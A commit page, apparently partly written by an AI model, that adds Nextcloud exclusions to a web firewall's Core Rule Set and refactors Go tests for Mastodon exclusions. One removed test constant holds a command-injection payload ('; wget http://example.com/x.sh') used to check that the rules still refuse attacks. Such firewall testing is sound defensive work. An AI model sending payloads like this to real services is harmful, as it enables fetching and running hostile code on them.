Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)
check / check (push) Successful in 5m6s

Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and
the body of a PUT there, an uploaded file, is not read. The cookie
nc_username, and the fields that carry a search, a name, a file name or a
folder, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a
shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync
client 3.16.7 and the OCS API pass at the defaults and while bodies are read.

Model: opus-5-5
This commit was merged in pull request #275.
This commit is contained in:
clawbot committed 2026-11-10 09:43:18 +01:00
1 parent c557b175ad
commit 463a19ef2a
9 files changed
+2246 -37

No files matched your search

+13 -13
View File
@@ -151,7 +151,7 @@ var mastodonFormFields = []mastodonBodyField{
"form_redirect[current_password]=",
},
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, "password="},
{http.MethodPost, mastodonSignUp, passwordField},
{http.MethodPost, mastodonSignUp, "reason="},
}
@@ -287,30 +287,31 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
// mastodonCommandAttack is a shell command that only 932230 and 932235
// refuse on the fields that skip the four rules.
const mastodonCommandAttack = "; wget http://example.com/x.sh"
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
attack := url.QueryEscape(mastodonCommandAttack)
for _, target := range mastodonQueryFields {
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
got := inspect(t, crs, get(target+commandInjection))
if got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
}
}
for _, sent := range mastodonFormFields {
if mastodonForm(t, sent, attack) < mastodonThreshold {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
attack, err := url.QueryUnescape(commandInjection)
if err != nil {
t.Fatal(err)
}
for _, sent := range mastodonJSONFields {
if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
@@ -497,7 +498,7 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
}
for _, value := range slices.Concat(
refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
refused, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
t.Errorf("username %s let through", value)
@@ -548,8 +549,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
// The address keeps 932250 and the rules that refuse attacks.
for _, value := range slices.Concat(
[]string{"ls%20-la"}, mastodonAttacks,
[]string{url.QueryEscape(mastodonCommandAttack)},
[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, sent, value) < mastodonThreshold {
t.Errorf("%v with %s let through", sent, value)